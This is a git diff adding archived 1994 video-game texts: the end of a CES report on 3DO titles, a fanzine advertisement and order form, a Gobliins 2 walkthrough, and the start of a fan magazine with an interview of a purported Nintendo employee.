inbetween the interactive storytelling. CD-quality music with + Dolby Surround Sound(tm) accompanies the action. Coming in August, this also + has a $70 price tag. An MPEG version will also be available. + + EA with Bullfrog Productions will release Theme Park this September. Picture + SimCity in an amusement park. Where do I put the ferris wheel? Should I + allow food in the park? Bring more customers - create longer lines? Coming + in at $60. + + Intellimedia Sports/ESPN Enterprises will bring 5 titles this fall, including + ESPN Golf: Lower Your Score with Tom Kite - Shot Making, ESPN Step Aerobics, + ESPN Baseball: Hitting and Cowboy Casino. ESPN's Lets Play Soccer comes this + month, and teaches the basics to the world's most popular sport. (Too late + for the US National team.) + + Panasonic kicks in 5 games of their own: True Golf Classics: Waialae, REAL + Pinball, Burning Soldier, Tetsujin and Guardian War... + + Panasonic, with T+E Soft, will publish True Golf Classics: Waialae Country + Club for the 3DO in September. FMV throughout, including a real fly-by of + each hole make this title unique. Closely resembles the Super NES version. + MSRP of $60. + + REAL Pinball is supposed to be a 5 pinball games on one disk, but the two that + I saw stunk. Nice sound and graphics, but played AWEFUL. Coming in 2 months, + but who cares? + + Burning Soldier is a much better game, however. This shooter puts you in + control of a Strike Fighter, which you must pilot though 18 zones, including + space and the ruins of Earth. 3-D graphics and great scene-to-scene + transitions make this a keeper. 1 or 2 players in September, MSRP of $60. + + Tetsujin fills the RPG gap the 3DO has - but we'll have to see the finished + product here. It's a hide-and-seek-then-kill game between you and a mad + scientist with his Motoids (Metroids?). It's a movie. It's a maze game. + It's 2 games in one! We hope. October/November for $65. + + Guardian War is another RPG, but with a different spin. It's geared toward a + wider audience, with problem solving and teamwork the key here. Defeat the + evil Azrul to restore peace to the planet in this 360-degree panoramic world. + October/November for $60. + + PF.Magic will release PaTaank this OCtober. This is a first-person pinball + game which pushes the limits of the 3DO to the max. Shoot the ball (that's + you!) into bumpers, ramps, shoots and goals for points. 1-4 players can join + in the fun. What is a PaTaank? It's the sound you make when you hit + something (puh TANK!) + + Psygnosis had a very early Microcosm at the show. Microcosm, a PC and cd32 + hit, is a first-person shooter where you go flying through someone's + bloodstream to rid him of the diseases that lurk there. No release date or + MSRP as of press time. + + RUNANDGUN! isn't a command, it's a company name. They're bringing Duelin' + Firemen! to the 3DO, an original game that baffles me. Chicago is on fire in + 1995, and the entire fire, police and rescue people have disappeared. So, you + become them all and go into a "safe house" (non-burning building) and dance to + the music you select. Uh, yeeah. + + The 3DO Company will release Soccer Kid, a side-scrolling game, this August + for $60. You must traverse 28 stages trying to collect the shattered World + Cup. Kid has dribbling, shooting and heading skills to help gamers complete + their mission. + +[====| ADVERTISEMENT |=[TNT-AD]===================================================] +******************/\********************************************************* +*****************/ /********* A Renegade Technologies Unlimited Production ** +****************/ /********************************************************** +** _______ /\ / /_______ ****************************** _ ************** +**/__ __// \/ //__ __/ *** / ********************* @\ ___ **** +** / / / /\ / / / *** / ********** ___ ___ | | | | *** +** / / / / / / / / *** \ | | |\/| |\/| | | ] [___| [___| *** +**/_/ / / /_/ /_/ *** \ | | | | | | |___ [___] | | *** +******/ /******************** / | | | | | | | | \ | | *** +*****/ /* -The Next Thing- ** / [__] | | | | [___ | \ | | *** +*****\/********************************************************************** +***************************************************************************** +** Get Your Hands On The Single Best Summer CES Resource Available! ** +***************************************************************************** + + Think back six months or a year to the last time you read a CES report +on the Internet. Remember all the people who said they would show up and +post a series of reports with everything they saw? Most of them never did. +After Summer CES '93, Renegade Technologies Unlimited came back with answers +to questions asked by Internet gamers and followed up by unleashing hundreds +of pages of text including question-and-answer sessions with the Internet +gaming public, a list of every game shown with ratings/comments, digitized +photographs and even sound files from then-unreleased games such as Street +Fighter II Champion Edition for the Genesis. After Winter CES '94, we +coordinated online interviews with show participants and made their +transcripts available within 24 hours. + Now we're shining our shoes and ironing our clothes in preparation for + the 1994 Summer Consumer Electronics Show. 19 TNT staffers took to the show + floors of McCormick Place and brought back incredible insights into the next + year of video game products. You read it correctly, "insights." Not just some + guy summarizing Virtua Fighters in one-syllable words; we're talking about + pages of solid text and pictures devoted to bringing home the whole story + behind the SCES. + TNT (The Next Thing) magazine was conceived as the end-all-be-all of SCES + coverage, combining audio, video and written reports in an effort to save the + average gamer $500+ on airfare and hotel accommodations. We do all the + footwork, we ask all the questions, and we burn ourselves out. You sit at + home playing video games and receive a big envelope in the mail. It's simple + and it will work -- just ask any of the people who have already subscribed to + TNT about our high quality customer service. One issue only, no continuing + obligations, arriving in mid-July... but read on. + Take a look back at some of your old game magazines. How much CES + coverage did you find? 10 pages? Maybe 15 at best? That's not coverage, that's + shameful -- this is a 3-day event with hundreds of exhibitors, and everyone + has something interesting to show. Ever wonder why the major gaming mags can + only squeeze a few pages of information out of a show that lasts for three or + four days? Answer: Their "writers" don't pay much attention. Snap a picture, + make up a 30-word synopsis, and that's what the game was like at CES. The + high-quality TNT magazine will be a hardcopy printed booklet with many pages + devoted to the show's general highlights and notable events. + The magazine will feature sections devoted to showing the best games + (regardless of system) in each major genre, a look at the keynote speech by + Nintendo's Howard Lincoln, and some beautiful artwork by TNT's own Russell + Kumro. For the reader's maximum enjoyment, additional computer disks + [available in IBM and Macintosh formats] will carry photographs (and perhaps + digitized sound files) from the show, highlighting each major + hardware-producer's licensees and displays. + Does TNT sound like it will kill your pocketbook? It won't, because we + designed the magazine around four principles to be flexible enough to + accommodate many types of readers. + +[*] Flexibility: [*] Today's gamer owns two or three systems and generally + despises competing companies. Do you own a 3DO and hate + Atari and their Jaguar? Or a Genesis and hate Nintendo? + Well, don't spend the money on information you'll just + skip anyway. The TNT magazine is available in + your choice of configurations -- you pick the systems + you want and we'll send you the appropriate disks and + printed materials. + +[*] Cost-Efficiency: [*] The printed TNT magazine with CES highlights will + cost only $6.00, a better value than what you would + get (a crappy five-page synopsis) in the average + mainstream magazine. Each company-specific set of + disks and additional printed materials will cost + an additional $5.00, and a disk of miscellaneous + photos and out-takes will be only $4.00. That + miscellaneous disk will include pictures from + companies like Sony, TTI and Commodore (if any + of them show up for CES). We're selling Atari, + Nintendo, Sega and 3DO company disks which will + include the aforementioned companies' licensees + as well. If you want to buy the whole + compendium of CES information, the price is $26. + +[*] Functionality: [*] IBM or Macintosh disks will be included with + each company-specific or miscellaneous/outtakes- disk + order. The photographs will be in a format maximized + for compression and photo quality. You'd be amazed + at how much high resolution detail we were able to + squeeze into the last Summer CES photos; more, + believe it or not, than could be seen without a + magnifying glass. The printed magazine can be kept + on your desk, framed above your fireplace or used as + a security blanket. Regardless of what you do with + it, it'll look cool and contain entertaining insights + into the real nature of the CES show. + +[*] Quick Delivery: [*] Here's the best part. Waiting sucks and no one knows + it better than Team Renegade and you. We're making a + guarantee that TNT will be released at a *maximum* of + three weeks after CES. We're going to try for two + weeks or less, but we can't control everything. + Remember, we're not talking about just printing + regurgitated press releases and press kit photos; + you'll see the former on the Internet within a day of + release to the media. TNT will feature the types of + nook and cranny questions no one seems to ask. + + Renegade Technologies Unlimited is committed to the production of an +exceptional piece of journalism. The TNT magazine will be both comprehensive +and professionally produced, delivered faster than the major magazines and +far more insightful for certain. RTU will be maintaining a professional +set of records for those who order TNT in advance and we make an absolute +guarantee that if we cannot deliver the product we will instantly refund +your money. Additionally, if Sega and their licensees have no presence at +the CES (which is quite doubtful), we'll refund the cost of the Sega-specific +diskettes. + Want to see the quality of our past work? Check out the BUSOP.CIT.WAYNE. +EDU site (cd pub/ces and pub/pselect) for high quality photographs, game +reviews and information... or read the work of our staff in such publications +as GamePro, VideoGames magazine, Wired, Intelligent Gamer, VidBits and Game +Bytes. You'll appreciate our devotion to customer satisfaction and the degree +of our attention to properly handling your order. + Order today and be guaranteed the best *honest* information directly +after the Summer CES... and next time someone promises that they'll ask your +questions and bring you the answers, remember who did it first and who does +it best. + + Jer Horwitz + President + Renegade Technologies + - Unlimited - + +[PLEASE NOTE: There is no shipping charge for orders within the United States. +TNT is not necessarily endorsed by Atari, Nintendo, Sega, 3DO or any company +other than Renegade Technologies Unlimited. We thank the editors of Game +Master Journal, Intelligent Gamer and the former Vidbits for their continuing +support and endorsement.] + +******************/\********************************************************* +*****************/ /********* A Renegade Technologies Unlimited Production ** +****************/ /********************************************************** +** _______ /\ / /_______ *************************************************** +**/__ __// \/ //__ __/ ** __ __ ** +** / / / /\ / / / ** [ ] __ _ __ __ | __ __ ** +** / / / / / / / / ** | | [ ] | \ [ [ ] | [ ] [ ] |\ /| ** +**/_/ / / /_/ /_/ ** | | [__] | | |__ [__] [__ | | |__] | \/ | ** +******/ /******************* | | | \ | | | | \ | | | | \ | | ** +*****/ /* -The Next Thing- * [__] | \ [_/ [__ | \ | [__] | \ | | ** +*****\/********************************************************************** +***************************************************************************** +** Print It Out, Grab A Check or Money Order, Then Mail It To Us! ** +***************************************************************************** + + Number +of Copies: + + [ ] TNT Printed Magazine: Includes detailed information about the best + [ ] and worst at CES; contains no disks but will include some printed + digitized photographs. A high-quality printed publication without + the childish handwriting you find in "fanzines." $6.00 per copy. + + [ ] TNT Extended Atari Coverage: Get the inside track on Atari's booth + [ ] at the CES, where nearly 100 developers have signed on to develop + Jaguar products. $5.00 per Atari extension. Includes: + Macintosh or IBM disk(s), circle your choice. + + [ ] TNT Extended Nintendo Coverage: See what Nintendo and its licensees + [ ] will be selling during the Christmas shopping season. Project Reality? + New portable Nintendo game systems? SNES Super Street Fighter 2 and + Mortal Kombat 2? $5.00 per Nintendo extension. Includes: + Macintosh or IBM disk(s), circle your choice. + + [ ] TNT Extended Sega Coverage: Despite plans to hold their own Sega show + [ ] in sunny Florida, there should most likely be a ample representation + of Sega software at Summer CES. A Genesis Mortal Kombat 2 and Super + SF2? Saturn? $5.00 per Sega extension. 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He's the one sitting on the porch. Talk to the two old +men with both Fingus and Winkle. You need to get their bottle. Have Winkle try +to steal the sausage while he is standing on the ground. While the two old men +laugh, Fingus can take the bottle. Go to the Fountain. + +Problem: +The Fountain - Part I. + +Hint: +Use Fingus to turn on the fountain. Use Winkle to place the bottle under the +jet of water. Use the full bottle of water on the Toad with Winkle. Pick up the +stone that was under the frog. Knock on the Wizard's door and talk to him. Have +Fingus use the stone on the mechanism. Make Fingus pull down the ladder rung +and have Winkle climb the ladder to the roof. Have Winkle enter the chimney and +enter the Wizard's house. + +Problem: +The Wizard's House. + +Hint: +Talk to the Wizard with Winkle and Fingus. Have Winkle step on the tiger's +tail. Take the matches in the tiger's mouth with Fingus. Use the matches to +light the fire under the kettle. Pour water in the kettle. The poster will be +partly steamed off the wall. Blow the fire out by touching the kettle. Take the +spring key. Have Fingus use the key on the cuckoo-clock. When the cuckoo comes +out with the big key, use Winkle to throw a stone and knock the key down. Take +the big key and leave. + +Problem: +The Fountain - Part II. + +Hint: +Open the door of the cellar with the key. Take the wine and go to the village. + +Problem: +The Village - Part II. + +Hint: +Use the bottle of water to water the flowers. Make Fingus give a flower to the +Notable. Place Winkle on the platform and have Fingus press the switch. When +Winkle is thrown onto the roof have him steal the sausage. You can now visit +the giant! + +Problem: +The Giant. + +Hint: +Use the sausage on the pot hole with Fingus. Take advantage of the moment to +let Winkle pass by the dog. Open up the burrow with Winkle and go through the +hole in the tree. Have Winkle tickle the chicken and use Fingus to hit him with +the sausage. Take the chicken's egg with Fingus and light the wood with Fingus +or Winkle. Place the egg on the fire with Fingus. As you are talking to the +awakened giant, give him the wine and sausage. Winkle and Fingus can now exit +at the top. + +Problem: +The Trench. + +Hint: +Enter the small tower with Fingus. After picking up the bomb with Fingus and +lighting the fuse with Winkle, the guard will explode. Enter the small tower +with Winkle. Pick up the bomb with Fingus and light the fuse with Winkle, the +carpet will drop and a hand will catch the carpet. Enter the small tower with +Fingus, pick up the bomb with Winkle and transfer it to Fingus so he can light +the fuse. The hand will drop the carpet. Walk on the carpet. Go talk to Soka. +He will advise you to look for "the sand of time" to cross the trench. + +Problem: +Kael. + +Hint: +Have Winkle use the bottle on the nymph to wake her up. Give the tree a drink +with Winkle and climb onto the tree's hand. Place Fingus on the rock under the +branch. Use Winkle to knock down a flower by shaking the branch and have Fingus +ready to catch it. Use the flower on the stone under which the bees live. Use +Fingus on the stone. When a bee flies out, Fingus will get honey. Put Fingus on +the big rock to the left of the stone and use Winkle on the stone to make the +bee come out. Put Fingus on the bee's back. When the bee takes Fingus near the +nymph, have him give the honey to the nymph. The nymph will point out the +correct mushroom. Pick the mushroom and use Winkle to knock on Vivalzart's +door. Show him the mushroom with Winkle and enter his house. + +Problem: +Vivalzart's House. + +Hint: +Put the mushroom into the machine with Winkle and activate it with Fingus. When +the machine starts, the liquid is blocked by the clothes pin. Take a worm from +the jar with Winkle. Place Fingus on the left trap door under the vulture. +Activate the shelf button with Winkle. This tosses Fingus to the vulture. While +Fingus is hanging, throw the worm to the vulture with Winkle. Fingus will drop +with a piece of meat. Give the meat to the piranha who spits out the bone. +Place a goblin on the trash can. Take the bone and give it to Vivalzart. When +he throws it into the trash can, a goblin will bounce onto the shelf. Get the +Kind Elixir and the clothes pin blocking the pipe. The liquid will go into the +container. Use the bottle and give each goblin a few drops to drink. Watch the +gobliins disappear into a dream. + +Problem: +The Musicians. + +Hint: +Put a hand on the headlight with Winkle to recover the drumstick. Make Winkle +put the drumstick on the stocking cap to create a net. When you activate the +spring with Fingus, a bicycle pump appears for a short time near the drummer. +During this brief period, put Winkle's hand on the headlight and put the +bicycle pump in inventory. Place a gobliin on the spring. Activate the spring +with the other goblin. The gobliins will jump in turn and a door on the left +will open. Go through the door. + +Problem: +Water Hose. + +Hint: +In the musician room, at the top, the way is blocked by a water hose. Use the +clothes pin on the base of the hose with one of the gobliins. Go through the +bottom right hole and speak to the guitarist. He plays and a note dies out at +the top right. Capture the note with the net. Have Winkle use the bicycle pump +to pump up the saxophone player. Use Fingus to catch the mosquito coming out of +the sax with the net. With Fingus, use the bicycle pump to pump up the sax +player. Use Winkle to catch the note coming out of the sax with the net. Use +the mosquito on the headlight with Winkle to make the drummer play. When Fingus +catches the last note with the net, you'll have the melody. Use the melody on +the bottom left door. It will enter the clock. Go see Tom and he will give you +the hourglass. + +Problem: +What do I do with the Hourglass once I have it? + +Hint: +Use the hourglass on the trench in the trench room. Go through the opening. + +Problem: +Gromelon. + +Hint: +Get the mayonnaise and put it near Gromelon. Put Fingus on the shelf and make +him jump on the mayonnaise. While Gromelon is drenched, pick up the sword with +Winkle and activate him on Rustik. When Stalopicus' mouth is open, take the gum +with Fingus. Use the gum on the cupboard lock to take an imprint. Take the +mayonnaise before leaving. + +Problem: +What do I do with the imprint? + +Hint: +Give the dwarf blacksmith the imprint, then the sword. He will ask for help +with the bellows. Use the stool with Winkle on Otto to make him grimace. When +he shakes his lance, hang Fingus on it. Fingus can then jump on the bellows and +the dwarf blacksmith can forge the key. Take the key from the blacksmith and +use the mayonnaise on Focus with Winkle. While the meat is lowered, use the +stool with Fingus to take a piece. Take the anvil before leaving. + +Problem: +Amidal. + +Hint: +Make Fingus use the meat on Amidal to get his false teeth. Use the key on the +cupboard. Each gobliin will take a diving suit. + +Problem: +The Well. + +Hint: +Enter the well with Winkle. He will press a button which reveals a door into +the monster. Lift the hatchet with Winkle to reveal a switch. Press the switch +with Fingus before the hatchet drops back. The monster's door will open. Enter +the well with Fingus. When the monster starts to speak, go through the +monster's door with Winkle. The combination of the monster's jaw moving and +Winkle's voice will stun Schwarzy. + +Problem: +Schwarzy. + +Hint: +While Schwarzy is stunned, use the stool on the hoist with Fingus to hitch him +to the hoist. Use the false teeth with Winkle to scare Schwarzy, who'll hang +for a moment. Throw the anvil at Schwarzy before he comes up. He will go down +farther to lift the cover off the well. Each goblin will use a diving suit to +go down into the well. + +Problem: +The Ship Wreck. + +Hint: +Go on the lower deck and through the door with Winkle to move the skull. Light +the lamp with Fingus and a lamp fish will arrive. Catch the lamp fish with +Winkle placed on top of the mast. Use the lamp fish on the three question mark +zone and a chest will appear. + +Problem: +The Sea Horse. + +Hint: +Use the stool on the sea horse. From now on, use the sea horse directly to go +up. Send Fingus through the hole on the right. Activate the shell with Winkle, +who throws it up, and catch it with Fingus. Send Winkle through the hole on the +right. Activate the cavity with Fingus and a gloved hand will emerge. While the +hand is stopped, drop the shell on it with Winkle. Pick up the shell with +Winkle. He can now take the glove with the starfish inside. + +Problem: +The Big Shell. + +Hint: +Place Fingus on the big shell. Light the lamp with Winkle. When the moray eel +appears, activate the rudder. This will throw Fingus by the big shell near the +statue. Use the starfish on the chest with Winkle. While the chest is open, +activate the statue with Fingus to get the sword. Use the sword on the skull. +Pick up the diamond. + +Problem: +The Glove, The Blob. + +Hint: +Use the glove on the blob to neutralize it. Grasp the bottle with Fingus. The +bottle contains a parchment with an "SOS" message from the Prince Buffoon. +Grasp the bottle with Winkle. It contains a pearl. Give the pearl to the +mermaid and give her the diamond. The Mermaid will open part of the passage. +Use the parchment on the octopus with Fingus. the octopus will open another +part of the passage. Recover the glove on the blob and the stool. Exit through +the passage. + +Problem: +The Storeroom. + +Hint: +Activate the swordfish with Fingus and take the salt. Lift the large pot cover +with Fingus. While he's holding it, pour the salt on the little guy with +Winkle. Take the file in the small pot with Winkle. While Fingus is holding the +rope on the right, activate Winkle on the left rope to pull Fingus up onto the +shelf. Free Colibrius from the chain by having Fingus use the file. Colibrius +will fly off with his cage. Take one of the thumbtacks on the wall. + +Problem: +Meatballs. + +Hint: +Salt the dish of meatballs with Winkle. When Oumkapok's hand grabs the cook, +place the thumb tack on the case with Fingus. The cook, in pain, will throw the +meatball up in the air. Use the Kind Elixir on the meatball with Winkle. +Oumkapok is now neutralized and you can go to the Throne. + +Problem: +The Throne Room. + +Hint: +To get to the cornice, use the stool with Winkle and climb using his hands with +Fingus. Press the switch with Fingus and make Winkle go through the door that +opens in the bottom right eye. Winkle will join Fingus at the top. To take the +crown, walk Winkle into the ear and activate the tongue immediately with +Fingus. Make a cockroach come out, by sending Fingus into the ear. Activate the +tongue immediately with Winkle. + +Problem: +The Cockroach. + +Hint: +To catch the cockroach, use Winkle on the left orifice. Immediately use Fingus +on the right hole with the glove. Put the cockroach in front of the right hole +and pour Kind Elixir on it. Glotziok will eat it and become neutralized. Make +another cockroach come out by using Winkle again on the left orifice. Use +Fingus on the right hole with the glove to get it. Pick up the pepper and +return to the left side of the room. Exit out the door on the left. + +Problem: +The Armor Room. + +Hint: +The cockroach must be disguised as a ladybug and coated with the Kind Elixir in +order for Amoniak to eat it. Take the helmet feather and dip it in the paint +pot. Put the cockroach in front of the hole through which the painter feeds the +king. Paint the cockroach red and pour pepper on it. Pour the Kind Elixir on +the bug. Speak to the king in the armor. To do this, click on the stone to go +up, then click on the helmet. Give the king back his crown by putting it on the +helmet to return him to normal size. + +Problem: +When can I rescue the Buffoon? + +Hint: +When Amoniak has disappeared and Glotziok and Oumkapok have silly smiles. You +can rescue the Buffoon. + +Problem: +The Armor Room - Part II. + +Hint: +Take the Buffoon to the shrinking machine. Put the gobliins under it one at a +time. The Buffoon will start the machine and shrink them both. The gobliins +will then jump out of the scientist's window. + +Problem: +The Knife. + +Hint: +Click Fingus on the handle. Just before lifting it, click Winkle on the point. +They will move the knife. Repeat this operation to move the knife again. Click +Fingus on the bookmark. Use it on the candle with Fingus. Pick up the match and +use it with Winkle on the eye. Click the Buffoon on the eye. He will kick it +and break the glasses. Pick up the shard of glass and use it on the ray of +light with Fingus. Pick up the lump of wax and use it on the seal. Use the +imprint on the keyhole. Pick up the seed and use it on the map village. A plant +will grow. Put the Buffoon and the two gobliins on the plant. + +Problem: +How do I get the Buffoon out of the Tree. + +Hint: +The Buffoon is hungry and won't come down until he is fed. You can obtain +apples for the Buffoon from Kael, the tree. You need to obtain a container +first though. Go through the hole with Winkle to get to the Buffoon. He reacts +violently and a bean drops. Click on the stone and a mole appears. Use the bean +on the mole with Winkle. While they struggle, take the mole's cap with Fingus. +Use the match on the apples with Winkle. While the apple is bouncing, use the +cap on it with Fingus. Use the apple on the hole with Winkle to give it to the +Buffoon. He comes down and rushes to the mushrooms. In turn, the two goblins +eat the mushrooms. + +Problem: +The Toy Room. + +Hint: +Use Fingus on the bowling pins. As the bowling ball arrives, put Winkle on the +right star so he can jump on the ball and intercept it. Put the bowling ball on +the lid with Winkle and place him on the lid too. Activate the bottom flagstone +with Fingus. The safety pin drops and lands on the umbrella. Catch another +bowling ball. Put it on the lid. This time, place Winkle on the catapult at the +bottom left. Activate the bottom flagstone with Fingus. Use Winkle on the +feeler and make him jump on the bubble. The bubble will float down with him +onto the lid. Activate the bottom flagstone with Fingus. When the bubble is +blown towards the umbrella Winkle can take the safety pin. + +Problem: +What do I do with the safety pin? + +Hint: +Catch another bowling ball. Put the bowling ball on the lid and put Winkle on +the catapult. Activate the bottom flagstone with Fingus. Make Winkle go up and +activate the top flagstone after placing Fingus on the flagstone at the +rainbow's end. If necessary, Fingus can be returned to the bowling pin side of +the room by using the catapult. Put him on the catapult and have Winkle jump +from the star on the left onto the catapult. Activate the switch with Winkle to +make the Buffoon fall. In the short time he's in the bubble makers circle, +quickly use Fingus on the feeler to enclose him in a bubble. Make Winkle burst +the bubble with the pin to free the Buffoon. + +Problem: +The Buffoon in the Tree - Part II. + +Hint: +Place the Buffoon on the catapult. Press the button with a goblin. Once the key +comes out of the statue's eye, activate the catapult with the other goblin. As +the Buffoon is catapulted up, he will grab the key and be taken away by a bird. +Exit at the rear of the scene. + +Problem: +The Mountain. + +Hint: +Have one goblin lift the stone. Situate the other goblin on the upper platform. +The goblin should take the stone and put it on the 2nd level. Repeat the +operation to put the stone on the 3rd level. Place a goblin on the lion. Throw +the stone from level 3 with the other goblin. When the first goblin is on the +giant's right shoulder make him act on the red head, which falls off. Come down +and take the stone to level 2. Place Winkle on the lion and throw the stone +from level 2 with Fingus. Winkle will be placed on the giant's left shoulder. +Go through the shoulder hole and bring him near the fallen red head. Place +Fingus on the lion and activate the head with Winkle. Fingus will land on the +levitating rock. + +Problem: +The Levitating Rock. + +Hint: +As Fingus lands on the levitating rock, move him to the rock's "!!!" zone. When +he starts jumping, the rock will descend. When the rock gets to Winkle's level, +make him jump on it. The rock will rise. Use Winkle on the small rock near the +bird cage. Quickly make Fingus walk on him. Use the file on the cage with +Fingus and get back the key. + +Problem: +How do I open the gate in the Tree scene? + +Hint: +Use a key on the door. + +Problem: +The Lab. + +Hint: +Use water on the Buffoon. An evil creature will take him to the Kingdom of +Gloom and Doom. Have Winkle take the pencil and use it 3 times on the +blackboard. Take the sponge which the furious magician throws at him. Have +Fingus use the pencil on the magician's portrait. While he's being hit by the +boomerang, jump on the armchair with Winkle to catch it in flight. Make Winkle +use the mug on the magician who will bang on the table. He'll knock a toothpick +to the other side of the room. While the toothpick is still bouncing, make +Fingus throw the boomerang. + +Problem: +What do I do with the Toothpick? + +Hint: +Have Winkle use the toothpick on the skeleton to open the rib cage. A bottle +will smash on the ground leaving a puddle. Use the sponge on the puddle. While +Winkle acts on the pipe, use the wet sponge on the smoke with Fingus. The way +to the Kingdom of Gloom and Doom opens. Send the gobliins through. + +Problem: +The Kingdom of Doom and Gloom. + +Hint: +Place Fingus on the bottom right eye, and Winkle on the left edge (with the +"!!!" marks) of the top right platform. Winkle will jump and Fingus will be +thrown. Pick up the mouse and use it on the mud. Jump on the crocodile. As +Amoniak reaches to catch the goblin, use the boomerang with the other goblin on +the teeth. This will cause the Buffoon to fall. Before the little demon can +send the Buffoon back to Amoniak, make a goblin jump from the left edge (with +the "!!!" marks) of the top right platform. The eye will pop out and hit the +little demon. + +Problem: +The Buffoon and the Sponge. + +Hint: +Put the sponge on the rock. Place the Buffoon on the eye and make Winkle jump +from the left edge (with the "!!!" marks) of the top right platform. This +throws the Buffoon onto the sponge which wets the rock. As the water flows, use +the pencil with Fingus on the rock. He draws a magic door which lasts a short +time. Make Winkle turn the handle. The three heroes go out the door and you +have won the game! + \ No newline at end of file diff --git a/textfiles.com/games/guru1-1.txt b/textfiles.com/games/guru1-1.txt new file mode 100644 index 00000000..52dd7d3a --- /dev/null +++ b/textfiles.com/games/guru1-1.txt @@ -0,0 +1,1588 @@ + ____ _____ ________ _________ + / ____ \ / \ / _ _ \ | _______| +| | |_| | ___ | | | | | | | | | +| | ___ | |___| | | | | | | | | ---, +| | |_ | | ___ | | | | | | | | ---' +| |____| | | | | | | | | | | | | |_______ + \______/ |__| |__| |__| |__| |__| |_________| + + ____ __ __ _____ __ __ + / ____ \ | | | | | __ \ | | | | + | | |_| | | | | | | | | | | | | + | | ___ | | | | | |__| / | | | | + | | |_ | | | | | | _ \ | | | | + | |____| | | |__| | | | \ \ | |__| | + \______/ \______/ |__| \__\ \______/ +______________________________________________________________________________ +VOLUME 1 ISSUE 1 MARCH 1994 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Editor and Publisher..........................................Michael Hrusecky + +Contributing writers...........................................Janice Hrusecky + Matt Lucas + +GURU "Techies"................................................Roger "Nintendo" + Steph Bednar + Alex Howard + +------------------------------------------------------------------------------ + + -EDITORS WHEREABOUTS- + Michael Hrusecky + + YES, YES, YES!!!! It's finally finished! It's 6 AM and I decided to stay +up all night and finish the fanzine are prepare to ship off. Sitting here +with a major headache, a half full can of Pepsi, and a lovely Dunkin Donut's +Boston Cream donut taught me one thing about sugar-saturated food...Chocolate +cream, vanilla cream, and soda.....aye yie yie! + + This fanzine was originally going to be printed on paper and mailed out +like a regular fanzine/prozine, but hey, I got tired of spending more for +supplies than I gain with subscription money. This is the best way, for me, +anyway. + + With the not-so-long-ago release of the Jaguar and the Panasonic 3DO, it +makes you wonder if the public is really ready for such high-tech mounds of +machinery. The Genesis and Super NES are just barely showing off the climax +of the 16-bit era, and already competition is starting for 32/64 bit +machines. + + When the Jaguar/3DO news first spread, everyone asked where Nintendo and +Sega where in the line. The way things look, both companies are being +incredibly smart. I think that Sega is learning from Nintendo, honestly. It +seems estimated that only 25% of the industry is CD-ROM based. That's where +the 3DO fails when it comes to sales. 50% to 60% is stuck in the 16-bit +SNES/Genny zone. That's where Atari is hurting is Jaguar sales, and 15% to +25% of the industry is still trapped in the 8-bit NES phase. (We all know +how badly the NES is dying.) Now putting these figures into consideration, +if you were bringing out a new system, the obvious choice is to try to stay +in the 16-bit area where the sales are. With the hype Panasonic and Atari +are pulling, the 3DO and Jaguar WILL gain popularity...but very slowly. As +soon as the percentage of the higher "bittage" or CD-ROM industry climbs, +that is when Sega and Nintendo will jump in that arena. Sega- possibly at +the end of this year and Nintendo with arcade machines at the end of the year +and a home unit next year. At first, it seemed to look like Nintendo was +planning a late entry as always, but in my opinion, they are right on +schedule when it comes to sales and popularity of higher end machines. + + For all younger kids reading this fanzine, it is rated MA-13. Do not +continue reading this fanzine without adult permission! Ah what the heck, +okay you can read the fanzine, little ones. (kidding) + + You probably already paged down 1000 times already typing to see what else +is in the fanzine. That makes it pretty much pointless to tell you what's in +the issue. But if you haven't, make sure you at least glance at the interview +I held with our very own Nintendo guy. You MIGHT catch something new in that +interview I held with him at the beginning of January. Also, we want you to +help continue that interview. Send in any questions you have that are of +public interest and I'll be sure to ask those questions for next issue! + +DEATH TO THE RATING SYSTEM! + + + +------------------------------------------------------------------------------ + + ---NINTENDO EXPOSED--- + INTERVIEW WITH NINTENDO REPRESENTATIVE + +This interview was taken at the beginning of January with a personal friend +of the family who works for Nintendo of America. As you may find out, the +answers to the questions are not at all like the Nintendo Reps you reach on +the phone. This Nintendo employee is one of only a few actual programmers/ +tech. support employees at Nintendo of America. + +GG: Just to start off, can you please tell all the readers your name and + occupation? + +NR: My name is Roger and I am a Nintendo representative in the programming/ + technical support department at Nintendo of America. + +GG: How often do you play video games, and what is your background of + employment? + +NR: Playing and testing out video games is part ofd my job. I sit in front of + this screen several times a day to make sure that everything is perfect. + Before working for Nintendo, I had another programming and technical + support job at AT&T in Allentown, Pennsylvania. I was released during a + layoff after three or four years of working there. Next thing I know, I + was recommended and I found myself moving here to Washington for my big + break. I always *loved* to play video games. + +GG: Interesting. I'm sure I could just ask you the simple stuff like this for + the whole interview, but I REALLY want to get to the good stuff, like + future games, systems, and all that stuff. Just for their reference what + have you done so far while being with Nintendo? + +NR: Probably 95% of the time I was put in the sound recording/development of + video games. Not a whole lot of programming goes on in the U.S. base, but + what ever we do, that's where I am, if I'm assigned to it. I've been all + over the place, when it comes to video game sounds. I've been from "Dr. + Mario" for the Game Boy to "Super Mario kart" for the SNES...having at + least a *little* bit to do with the sound. + +GG: Cool. Okay, fill us in...FX Trax. + +NR: FX Trax is not known as that anymore. It has been renamed to Stunt Racer + FX and will be the next game for the SNES using the Super FX micro- + processor. it is scheduled for early to mid '94 and is expected to be the + first 32-meg cartridge for a 16-bit system! + +GG: Okay...Super Metroid + +NR: I don't have too much information right now, it's also set for mid '94 and + is expected to be the first 24-meg cartridge for the SNES. + +GG: And chance for a new Mario Adventure for ANY system out NOW? + +NR: No comment. + +GG: Well that gives it away! (laughing) Okay, here are the questions about + Project Reality that has been on lots of people minds for a while now. + First of all, is there any sign that you know of that indicates a breaking + up of Nintendo and Silicon Graphics? This was the major problem for + Nintendo in the past. + +NR: So far, I don't see any kind of breaking up happening. The problem Nintendo + had in the past...you probably mean with the Super NES CD. Nintendo + originally signed with Sony to develop a CD-ROM peripheral for the SNES. + As everyone knows, the Sega CD is a Sony product. All I will say is that a + nice sum of money was exchanged, and the next thing we knew, Sony is off + with Sega leaving Nintendo in the dust. We had a backup plan, and that was + with Philips Electronics. Things went perfectly well, and even high-tech + prototypes were finished and tested. I had the opportunity to test it + myself in New York City at a special conference. Suddenly Nintendo of Japan + scrapped the 16-bit CD-ROM add-on and went 32-bit. Philips wanted a new + machine altogether, but Nintendo wanted an add-on peripheral. Wham bam we + were back to square one again. Right now, Silicon Graphics and Nintendo + seem to be working together very well, and we're all pleased. The one thing + we do NOT like is the fact that 